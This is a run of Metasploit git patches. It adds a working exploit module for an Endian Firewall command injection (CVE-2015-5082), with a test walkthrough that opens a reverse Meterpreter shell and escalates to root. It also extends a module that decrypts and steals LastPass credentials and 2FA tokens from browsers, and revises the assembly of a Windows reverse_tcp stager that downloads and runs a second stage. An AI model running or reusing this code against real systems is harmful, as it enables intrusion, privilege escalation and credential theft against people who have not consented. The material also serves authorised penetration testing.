password, use it. If not, the username/password is admin/endian. - Use the second NIC for the "Red" interface. It will not actually be used during this walkthrough, so feel free to specify a bogus address on a different/nonexistent subnet. Same for its default gateway. - Once the base configuration is complete, access the main web interface URL again. - Switch to the Proxy tab. - Enable the HTTP proxy. - Click Save (or Apply, depending on version). - If prompted to apply the settings, do so. - Click on the Authentication sub-tab. - Make sure the Authentication Method is Local (this should be the default). - Click the _manage users_ (Or _User management_, etc., depending on version) button. - Click the _Add NCSA user_ (or _Add a user_, etc.) link. - Enter "proxyuser" for the username, and "password123" for the password, or modify the directions below this point accordingly. - Click the _Create user_ button. - If prompted to apply the settings, do so. Module test process: From within the MSF console, execute these commands: use exploit/linux/http/efw_chpasswd_exec set payload linux/x86/meterpreter/reverse_tcp set LHOST [YOUR_HOST_IP] set LPORT 443 set RHOST [ENDIAN_GREEN_IP] set EFW_USERNAME proxyuser set EFW_PASSWORD password123 exploit Once Meterpreter connects, execute the following Meterpreter commands: getuid sysinfo shell Within the OS shell, execute the following commands: whoami uname -a sudo -l sudo /usr/local/bin/chrootpasswd It will appear as though the command has hung, but it is actually waiting for input. Type "IlikerootaccessandIcannotlie", then press enter. Execute the following OS command in the shell: su Type "IlikerootaccessandIcannotlie", then press enter. Verify root access (whoami, etc.). --- .../exploits/linux/http/efw_chpasswd_exec.rb | 165 ++++++++++++++++++ 1 file changed, 165 insertions(+) create mode 100644 modules/exploits/linux/http/efw_chpasswd_exec.rb diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb new file mode 100644 index 0000000000..e578a4636d --- /dev/null +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -0,0 +1,165 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Exploit::Remote + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Endian Firewall Proxy Password Change Command Injection', + 'Description' => %q{ + This module exploits an OS command injection vulnerability in a + web-accessible CGI script used to change passwords for locally-defined + proxy user accounts. Valid credentials for such an account are + required. + Command execution will be in the context of the "nobody" account, but + on versions of EFW I tested, this account had broad sudo permissions, + including to run the script /usr/local/bin/chrootpasswd as root. This + script changes the password for the Linux root account on the system + to the value specified by console input once it is executed. + The password for the proxy user account specified will *not* be + changed by the use of this module, as long as the target system is + vulnerable to the exploit. + Very early versions of Endian Firewall (e.g. 1.1 RC5) require + HTTP basic auth credentials as well to exploit this vulnerability. + Use the standard USERNAME and PASSWORD advanced options to specify + these values if required. + Versions >= 3.0.0 still contain the vulnerable code, but it appears to + never be executed due to a bug in the vulnerable CGI script which also + prevents normal use (http://jira.endian.com/browse/UTM-1002). + Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug + (http://bugs.endian.com/print_bug_page.php?bug_id=3083). + Tested successfully against the following versions of EFW Community: + 1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2. + Should function against any version from 1.1 RC5 to 2.2.x, as well as + 2.4.1 and 2.5.x. + Used Apache mod_cgi Bash Environment Variable Code Injection + and Novell ZENworks Configuration Management Remote Execution + modules as templates. + }, + 'Author' => [ + 'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module + ], + 'References' => [ + ['CVE', '2015-5082'], + ['URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2015-5082'], +# ['OSVDB', ''], +# ['EDB', ''], + ['URL', 'http://jira.endian.com/browse/COMMUNITY-136'] + ], + 'Privileged' => false, + 'Platform' => %w{ linux }, + 'Payload' => + { + 'BadChars' => "\x00\x0a\x0d", + 'DisableNops' => true, + 'Space' => 2048 + }, + 'Targets' => + [ + [ 'Linux x86', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ], + [ 'Linux x86_64', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => [ :echo, :printf ] + } + ] + ], + 'DefaultOptions' => + { + 'SSL' => true, + 'RPORT' => 10443 + }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Jun 28 2015', + 'License' => MSF_LICENSE + )) + + register_options([ + OptString.new('TARGETURI', [true, 'Path to chpasswd.cgi CGI script', + '/cgi-bin/chpasswd.cgi']), + OptString.new('EFW_USERNAME', [true, + 'Valid proxy account username for the target system']), + OptString.new('EFW_PASSWORD', [true, + 'Valid password for the proxy user account']), + OptInt.new('CMD_MAX_LENGTH', [true, 'CMD max line length', 200]), + OptString.new('RPATH', [true, + 'Target PATH for binaries used by the CmdStager', '/bin']), + OptInt.new('TIMEOUT', [true, 'HTTP read response timeout (seconds)', 10]) + ], self.class) + end + + def exploit + # Cannot use generic/shell_reverse_tcp inside an elf + # Checking before proceeds + if generate_payload_exe.blank? + fail_with(Failure::BadConfig, + "#{peer} - Failed to store payload inside executable, " + + "please select a native payload") + end + + execute_cmdstager(:linemax => datastore['CMD_MAX_LENGTH'], + :nodelete => true) + end + + def execute_command(cmd, opts) + cmd.gsub!('chmod', "#{datastore['RPATH']}/chmod") + + req(cmd) + end + + def req(cmd) + sploit = "#{datastore['EFW_PASSWORD']}; #{cmd};" + + boundary = "----#{rand_text_alpha(34)}" + data = "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"ACTION\"\r\n\r\n" + data << "change\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"USERNAME\"\r\n\r\n" + data << "#{datastore['EFW_USERNAME']}\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"OLD_PASSWORD\"\r\n\r\n" + data << "#{datastore['EFW_PASSWORD']}\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"NEW_PASSWORD_1\"\r\n\r\n" + data << "#{sploit}\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"NEW_PASSWORD_2\"\r\n\r\n" + data << "#{sploit}\r\n" + data << "--#{boundary}\r\n" + data << "Content-Disposition: form-data; name=\"SUBMIT\"\r\n\r\n" + data << " Change password\r\n" + data << "--#{boundary}--\r\n" + + refererUrl = + "https://#{datastore['RHOST']}:#{datastore['RPORT']}" + + "#{datastore['TARGETURI']}" + + send_request_cgi( + { + 'method' => 'POST', + 'uri' => datastore['TARGETURI'], + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'headers' => { + 'Referer' => refererUrl + }, + 'data' => data + }, datastore['TIMEOUT']) + + end + +end From 5b0647a1f21e9be2318c5b022b6c6f36526aba49 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Mon, 29 Jun 2015 22:20:38 -0700 Subject: [PATCH 0132/2172] Add support to steal 2FA token --- modules/post/multi/gather/lastpass_creds.rb | 292 +++++++++++++++----- 1 file changed, 216 insertions(+), 76 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 64e87043fe..65eb675552 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -42,93 +42,40 @@ class Metasploit3 < Msf::Post return end - print_status "Extracting credentials from #{account_map.size} LastPass databases" + lastpass_data = {} #Contains all LastPass info - # an array of [user, encrypted password, browser] - credentials = [] # All credentials to be decrypted - account_map.each_pair do |account, browser_map| - browser_map.each_pair do |browser, paths| - if browser == 'Firefox' - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - 'firefox.preferences', - 'text/javascript', - session, - data, - nil, - "Firefox preferences file #{path}" - ) + print_status "Extracting credentials" + lastpass_data = extract_credentials(account_map) - # Extract usernames and passwords from preference file - firefox_credentials(loot_path).each do |creds| - credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] - end - end - else # Chrome, Safari and Opera - paths.each do |path| - data = read_file(path) - loot_path = store_loot( - "#{browser.downcase}.lastpass.database", - 'application/x-sqlite3', - session, - data, - nil, - "#{account}'s #{browser} LastPass database #{path}" - ) - - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - lastpass_user, lastpass_pass = db.execute( - "SELECT username, password FROM LastPassSavedLogins2 " \ - "WHERE username IS NOT NULL AND username != '' " \ - "AND password IS NOT NULL AND password != '';" - ).flatten - if lastpass_user && lastpass_pass - credentials << [account, browser, lastpass_user, lastpass_pass] + print_status "Extracting 2FA tokens" + localstorage_map = build_localstorage_map + if localstorage_map.empty? + print_status "No LastPass localstorage found" + else + twoFA_token_map = check_localstorage_for_2FA_token(localstorage_map) + lastpass_data.each_pair do |account, browser_map| + browser_map.each_pair do |browser, username_map| + username_map.each_pair do |user, data| + if twoFA_token_map[account][browser] + lastpass_data[account][browser][user] << "defverthbertvwervrfv"#twoFA_token_map[account][browser] + else + lastpass_data[account][browser][user] << "NOT_FOUND" end end end end end - credentials_table = Rex::Ui::Text::Table.new( - 'Header' => "LastPass credentials", - 'Indent' => 1, - 'Columns' => %w(Account Browser LastPass_Username LastPass_Password) - ) - # Parse and decrypt credentials - credentials.each do |row| # Decrypt passwords - account, browser, user, enc_pass = row - vprint_status "Decrypting password for #{account}'s #{user} from #{browser}" - password = clear_text_password(user, enc_pass) - credentials_table << [account, browser, user, password] - end - unless credentials.empty? - print_good credentials_table.to_s - path = store_loot( - "lastpass.creds", - "text/csv", - session, - credentials_table.to_csv, - nil, - "Decrypted LastPass Master Passwords" - ) - end + print_lastpass_data(lastpass_data) end + # Returns a mapping of { Account => { Browser => paths } } def build_account_map platform = session.platform profiles = user_profiles found_dbs_map = {} - if datastore['VERBOSE'] - vprint_status "Found #{profiles.size} users: #{profiles.map { |p| p['UserName'] }.join(', ')}" - else - print_status "Found #{profiles.size} users" - end - profiles.each do |user_profile| account = user_profile['UserName'] browser_path_map = {} @@ -144,7 +91,8 @@ class Metasploit3 < Msf::Post when /unix|linux/ browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", - 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox" + 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", + 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } when /osx/ browser_path_map = { @@ -231,7 +179,6 @@ class Metasploit3 < Msf::Post return found_dbs_paths end end - files.each do |file_path| unless %w(. .. Shared).include?(file_path) found_dbs_paths.push([path, file_path].join(sep)) @@ -288,16 +235,18 @@ class Metasploit3 < Msf::Post def clear_text_password(email, encrypted_data) return if encrypted_data.blank? + decrypted_password = "DECRYPTION_ERROR" + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin - if encrypted_data.include?("|") # Apply CBC + if encrypted_data.include?("|") # Use CBC decipher = OpenSSL::Cipher.new("AES-256-CBC") decipher.decrypt decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | encrypted_password = encrypted_data[26..-1] - else # Apply ECB + else # Use ECB decipher = OpenSSL::Cipher.new("AES-256-ECB") decipher.decrypt decipher.key = sha256_binary_email @@ -305,9 +254,200 @@ class Metasploit3 < Msf::Post end begin - decipher.update(Base64.decode64(encrypted_password)) + decipher.final + decrypted_password = decipher.update(Base64.decode64(encrypted_password)) + decipher.final rescue print_error "Password for #{email} could not be decrypted" end + + decrypted_password end + + + + + + + + def extract_credentials(account_map) + credentials = account_map # All credentials to be decrypted + + account_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, paths| + credentials[account][browser] = Hash.new # Get rid of the browser paths + if browser == 'Firefox' + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) + + # Extract usernames and passwords from preference file + ffcreds = firefox_credentials(loot_path) + unless ffcreds.blank? + ffcreds.each do |creds| + credentials[account][browser]={URI.unescape(creds[0]) => [URI.unescape(creds[1])]} + end + else + credentials[account].delete("Firefox") + end + + end + else # Chrome, Safari and Opera + paths.each do |path| + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.database", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass database #{path}" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + result = db.execute( + "SELECT username, password FROM LastPassSavedLogins2 " \ + "WHERE username IS NOT NULL AND username != '' " \ + ) + + for row in result + if row[0] + row[1].blank? ? row[1] = "NOT_FOUND" : row[1] = clear_text_password(row[0], row[1]) #Decrypt credentials + credentials[account][browser][row[0]] = [row[1]] + end + end + end + end + end + end + + credentials + end + + + # Returns a localstorage mapping of { Account => { Browser => paths } } + def build_localstorage_map + platform = session.platform + profiles = user_profiles + found_localstorage_map = {} + + profiles.each do |user_profile| + account = user_profile['UserName'] + browser_path_map = {} + + case platform + when /win/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\Local Storage\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + 'Firefox' => "#{user_profile['AppData']}\\Mozilla\\Firefox\\Profiles", + 'Opera' => "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\Local Storage\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", + 'Safari' => "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\LocalStorage\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" + } + when /unix|linux/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + #'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", + 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" + } + when /osx/ + browser_path_map = { + 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", + #'Firefox' => "#{user_profile['LocalAppData']}\\Firefox\\Profiles", + 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage", + 'Safari' => "#{user_profile['AppData']}/Safari/LocalStorage/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0.localstorage" + } + else + print_error "Platform not recognized: #{platform}" + end + + found_localstorage_map[account] = {} + browser_path_map.each_pair do |browser, path| + found_localstorage_map[account][browser] = path if client.fs.file.exists?(path) + end + end + + found_localstorage_map + end + + + #Extracts the 2FA token from localStorage + def check_localstorage_for_2FA_token(localstorage_map) + localstorage_map.each_pair do |account, browser_map| + browser_map.each_pair do |browser, path| + if browser == 'Firefox' + data = read_file(path) + loot_path = store_loot( + 'firefox.preferences', + 'text/javascript', + session, + data, + nil, + "Firefox preferences file #{path}" + ) + + firefox_credentials(loot_path).each do |creds| + credentials << [account, browser, URI.unescape(creds[0]), URI.unescape(creds[1])] + end + else # Chrome, Safari and Opera + data = read_file(path) + loot_path = store_loot( + "#{browser.downcase}.lastpass.localstorage", + 'application/x-sqlite3', + session, + data, + nil, + "#{account}'s #{browser} LastPass localstorage #{path}" + ) + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + token = db.execute( + "SELECT hex(value) FROM ItemTable " \ + "WHERE key = 'lp.uid';" + ).flatten + token.blank? ? localstorage_map[account][browser] = "NOT_FOUND" : localstorage_map[account][browser] = token.pack('H*') + end + end + end + + localstorage_map + end + + + #Print all extracted LastPass data + def print_lastpass_data(lastpass_data) + lastpass_data_table = Rex::Ui::Text::Table.new( + 'Header' => "LastPass data", + 'Indent' => 1, + 'Columns' => %w(Account Browser LastPass_Username LastPass_Password, LastPass_2FA) + ) + + lastpass_data.each_pair do |account, browser_map| + browser_map.each_pair do |browser, username_map| + username_map.each_pair do |user, data| + lastpass_data_table << [account, browser, user] + data + end + end + end + + unless lastpass_data.empty? + print_good lastpass_data_table.to_s + path = store_loot( + "lastpass.creds", + "text/csv", + session, + lastpass_data_table.to_csv, + nil, + "LastPass Data" + ) + end + + end + end From ce61bcd3b4858f547ca8e1dc111c84792efaca65 Mon Sep 17 00:00:00 2001 From: Ben Lincoln <682F048A@beneaththewaves.net> Date: Mon, 29 Jun 2015 22:48:16 -0700 Subject: [PATCH 0133/2172] Removed a trailing space from line 40. --- modules/exploits/linux/http/efw_chpasswd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index e578a4636d..1025d0bef9 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -37,7 +37,7 @@ class Metasploit4 < Msf::Exploit::Remote (http://bugs.endian.com/print_bug_page.php?bug_id=3083). Tested successfully against the following versions of EFW Community: 1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2. - Should function against any version from 1.1 RC5 to 2.2.x, as well as + Should function against any version from 1.1 RC5 to 2.2.x, as well as 2.4.1 and 2.5.x. Used Apache mod_cgi Bash Environment Variable Code Injection and Novell ZENworks Configuration Management Remote Execution From e929dec8290d87e90a3c945661f0c95266dfedb4 Mon Sep 17 00:00:00 2001 From: Ben Lincoln <682F048A@beneaththewaves.net> Date: Tue, 30 Jun 2015 12:42:17 -0700 Subject: [PATCH 0134/2172] Re-formatted and tweaked the module description. --- .../exploits/linux/http/efw_chpasswd_exec.rb | 22 +++++++++++++------ 1 file changed, 15 insertions(+), 7 deletions(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 1025d0bef9..082a6c5eed 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -18,33 +18,41 @@ class Metasploit4 < Msf::Exploit::Remote web-accessible CGI script used to change passwords for locally-defined proxy user accounts. Valid credentials for such an account are required. + Command execution will be in the context of the "nobody" account, but - on versions of EFW I tested, this account had broad sudo permissions, - including to run the script /usr/local/bin/chrootpasswd as root. This - script changes the password for the Linux root account on the system - to the value specified by console input once it is executed. + this account had broad sudo permissions, including to run the script + /usr/local/bin/chrootpasswd (which changes the password for the Linux + root account on the system to the value specified by console input + once it is executed. + The password for the proxy user account specified will *not* be changed by the use of this module, as long as the target system is vulnerable to the exploit. + Very early versions of Endian Firewall (e.g. 1.1 RC5) require HTTP basic auth credentials as well to exploit this vulnerability. Use the standard USERNAME and PASSWORD advanced options to specify these values if required. + Versions >= 3.0.0 still contain the vulnerable code, but it appears to never be executed due to a bug in the vulnerable CGI script which also prevents normal use (http://jira.endian.com/browse/UTM-1002). + Versions 2.3.x and 2.4.0 are not vulnerable because of a similar bug (http://bugs.endian.com/print_bug_page.php?bug_id=3083). + Tested successfully against the following versions of EFW Community: + 1.1 RC5, 2.0, 2.1, 2.2, 2.5.1, 2.5.2. + Should function against any version from 1.1 RC5 to 2.2.x, as well as 2.4.1 and 2.5.x. - Used Apache mod_cgi Bash Environment Variable Code Injection - and Novell ZENworks Configuration Management Remote Execution - modules as templates. }, 'Author' => [ 'Ben Lincoln' # Vulnerability discovery, exploit, Metasploit module +# Used Apache mod_cgi Bash Environment Variable Code Injection +# and Novell ZENworks Configuration Management Remote Execution +# modules as templates. ], 'References' => [ ['CVE', '2015-5082'], From 3d32438b347bfc680e09bbf08c470c10a2ca94fb Mon Sep 17 00:00:00 2001 From: Ben Lincoln <682F048A@beneaththewaves.net> Date: Tue, 30 Jun 2015 12:43:31 -0700 Subject: [PATCH 0135/2172] Added missing closing paren in description text. --- modules/exploits/linux/http/efw_chpasswd_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/efw_chpasswd_exec.rb b/modules/exploits/linux/http/efw_chpasswd_exec.rb index 082a6c5eed..477ed891a4 100644 --- a/modules/exploits/linux/http/efw_chpasswd_exec.rb +++ b/modules/exploits/linux/http/efw_chpasswd_exec.rb @@ -23,7 +23,7 @@ class Metasploit4 < Msf::Exploit::Remote this account had broad sudo permissions, including to run the script /usr/local/bin/chrootpasswd (which changes the password for the Linux root account on the system to the value specified by console input - once it is executed. + once it is executed). The password for the proxy user account specified will *not* be changed by the use of this module, as long as the target system is From 37ac5f0ee370edeaddc0ea7d9c1ac50f430c3889 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 30 Jun 2015 17:28:21 -0500 Subject: [PATCH 0136/2172] Use environment variables for Program Files Done, thanks @Meatballs1 ! --- .../meterpreter/extensions/stdapi/webcam/webcam.rb | 10 ++++++---- 1 file changed, 6 insertions(+), 4 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb index 2ca534943b..7e063e744b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/webcam/webcam.rb @@ -103,10 +103,12 @@ class Webcam case client.platform when /win/ paths = [ - "Program Files (x86)\\Google\\Chrome\\Application\\chrome.exe", - "Program Files\\Google\\Chrome\\Application\\chrome.exe", - "Program Files (x86)\\Mozilla Firefox\\firefox.exe", - "Program Files\\Mozilla Firefox\\firefox.exe" + "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramW6432%\\Google\\Chrome\\Application\\chrome.exe", + "%ProgramFiles(x86)%\\Mozilla Firefox\\firefox.exe", + "%ProgramFiles%\\Mozilla Firefox\\firefox.exe", + "%ProgramW6432%\\Mozilla Firefox\\firefox.exe" ] drive = session.sys.config.getenv("SYSTEMDRIVE") From cf8bbbfa3db867b9d6fd3bcfaf03cada93d4eb13 Mon Sep 17 00:00:00 2001 From: OJ Date: Tue, 30 Jun 2015 11:30:14 +1000 Subject: [PATCH 0137/2172] reverse_tcp 32 bit stager resiliency --- lib/msf/core/payload/windows/reverse_tcp.rb | 204 +++++++++++--------- 1 file changed, 110 insertions(+), 94 deletions(-) diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 360b690355..c238d8199c 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -76,11 +76,11 @@ module Payload::Windows::ReverseTcp # Start with our cached default generated size space = cached_size - # EXITFUNK processing adds 31 bytes at most (for ExitThread, only ~16 for others) - space += 31 + # EXITFUNK processing only seems to add 8 bytes on top of the default + space += 8 - # Reliability adds 10 bytes for recv error checks - space += 10 + # Reliability adds some bytes! + space += 41 space += uuid_required_size if include_send_uuid @@ -108,49 +108,51 @@ module Payload::Windows::ReverseTcp ; Clobbers: EAX, ESI, EDI, ESP will also be modified (-0x1A0) reverse_tcp: - push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack. - push 0x5F327377 ; ... - push esp ; Push a pointer to the "ws2_32" string on the stack. - push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) - call ebp ; LoadLibraryA( "ws2_32" ) + push '32' ; Push the bytes 'ws2_32',0,0 onto the stack. + push 'ws2_' ; ... + push esp ; Push a pointer to the "ws2_32" string on the stack. + push #{Rex::Text.block_api_hash('kernel32.dll', 'LoadLibraryA')} + call ebp ; LoadLibraryA( "ws2_32" ) - mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) - sub esp, eax ; alloc some space for the WSAData structure - push esp ; push a pointer to this stuct - push eax ; push the wVersionRequested parameter - push 0x006B8029 ; hash( "ws2_32.dll", "WSAStartup" ) - call ebp ; WSAStartup( 0x0190, &WSAData ); - - create_socket: - push eax ; if we succeed, eax will be zero, push zero for the flags param. - push eax ; push null for reserved parameter - push eax ; we do not specify a WSAPROTOCOL_INFO structure - push eax ; we do not specify a protocol - inc eax ; - push eax ; push SOCK_STREAM - inc eax ; - push eax ; push AF_INET - push 0xE0DF0FEA ; hash( "ws2_32.dll", "WSASocketA" ) - call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); - xchg edi, eax ; save the socket for later, don't care about the value of eax after this + mov eax, 0x0190 ; EAX = sizeof( struct WSAData ) + sub esp, eax ; alloc some space for the WSAData structure + push esp ; push a pointer to this stuct + push eax ; push the wVersionRequested parameter + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSAStartup')} + call ebp ; WSAStartup( 0x0190, &WSAData ); set_address: - push #{retry_count} ; retry counter - push #{encoded_host} ; host in little-endian format - push #{encoded_port} ; family AF_INET and port number - mov esi, esp ; save pointer to sockaddr struct + push #{retry_count} ; retry counter + + create_socket: + push #{encoded_host} ; host in little-endian format + push #{encoded_port} ; family AF_INET and port number + mov esi, esp ; save pointer to sockaddr struct + + push eax ; if we succeed, eax will be zero, push zero for the flags param. + push eax ; push null for reserved parameter + push eax ; we do not specify a WSAPROTOCOL_INFO structure + push eax ; we do not specify a protocol + inc eax ; + push eax ; push SOCK_STREAM + inc eax ; + push eax ; push AF_INET + push #{Rex::Text.block_api_hash('ws2_32.dll', 'WSASocketA')} + call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0, 0 ); + xchg edi, eax ; save the socket for later, don't care about the value of eax after this try_connect: - push 16 ; length of the sockaddr struct - push esi ; pointer to the sockaddr struct - push edi ; the socket - push 0x6174A599 ; hash( "ws2_32.dll", "connect" ) - call ebp ; connect( s, &sockaddr, 16 ); + push 16 ; length of the sockaddr struct + push esi ; pointer to the sockaddr struct + push edi ; the socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'connect')} + call ebp ; connect( s, &sockaddr, 16 ); - test eax,eax ; non-zero means a failure + test eax,eax ; non-zero means a failure jz connected - handle_failure: + handle_connect_failure: + ; decrement our attempt count and try again dec dword [esi+8] jnz try_connect ^ @@ -163,82 +165,96 @@ module Payload::Windows::ReverseTcp else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push 0x56A2B5F0 ; hardcoded to exitprocess for size call ebp ^ end - # TODO: Rewind the stack, free memory, try again -=begin - if opts[:reliable] - asm << %Q^ - reconnect: - - ^ - end -=end asm << %Q^ + ; this lable is required so that reconnect attempts include + ; the UUID stuff if required. connected: - ^ + ^ asm << asm_send_uuid if include_send_uuid asm << %Q^ recv: ; Receive the size of the incoming second stage... - push 0 ; flags - push 4 ; length = sizeof( DWORD ); - push esi ; the 4 byte buffer on the stack to hold the second stage length - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, &dwLength, 4, 0 ); + push 0 ; flags + push 4 ; length = sizeof( DWORD ); + push esi ; the 4 byte buffer on the stack to hold the second stage length + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, &dwLength, 4, 0 ); ^ - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect - if reliable - asm << %Q^ - cmp eax, 0 - jle failure - ^ - end - - asm << %Q^ - ; Alloc a RWX buffer for the second stage - mov esi, [esi] ; dereference the pointer to the second stage length - push 0x40 ; PAGE_EXECUTE_READWRITE - push 0x1000 ; MEM_COMMIT - push esi ; push the newly recieved second stage length. - push 0 ; NULL as we dont care where the allocation is. - push 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" ) - call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - ; Receive the second stage and execute it... - xchg ebx, eax ; ebx = our new memory address for the new stage - push ebx ; push the address of the new stage so we can return into it - - read_more: ; - push 0 ; flags - push esi ; length - push ebx ; the current address into our second stage's RWX buffer - push edi ; the saved socket - push 0x5FC8D902 ; hash( "ws2_32.dll", "recv" ) - call ebp ; recv( s, buffer, length, 0 ); - ^ - - # Check for a failed recv() call - # TODO: Try again by jmping to reconnect if reliable asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails cmp eax, 0 - jle failure + jle handle_connect_failure ^ end asm << %Q^ - add ebx, eax ; buffer += bytes_received - sub esi, eax ; length -= bytes_received, will set flags - jnz read_more ; continue if we have more to read - ret ; return into the second stage + ; Alloc a RWX buffer for the second stage + mov esi, [esi] ; dereference the pointer to the second stage length + push 0x40 ; PAGE_EXECUTE_READWRITE + push 0x1000 ; MEM_COMMIT + push esi ; push the newly recieved second stage length. + push 0 ; NULL as we dont care where the allocation is. + push #{Rex::Text.block_api_hash('kernel32.dll', 'VirtualAlloc')} + call ebp ; VirtualAlloc( NULL, dwLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + ; Receive the second stage and execute it... + xchg ebx, eax ; ebx = our new memory address for the new stage + push ebx ; push the address of the new stage so we can return into it + + read_more: + push 0 ; flags + push esi ; length + push ebx ; the current address into our second stage's RWX buffer + push edi ; the saved socket + push #{Rex::Text.block_api_hash('ws2_32.dll', 'recv')} + call ebp ; recv( s, buffer, length, 0 ); + ^ + + if reliable + asm << %Q^ + ; reliability: check to see if the recv worked, and reconnect + ; if it fails + cmp eax, 0 + jge read_successful + + ; something failed, free up memory + pop eax ; get the address of the payload + push 0x4000 ; 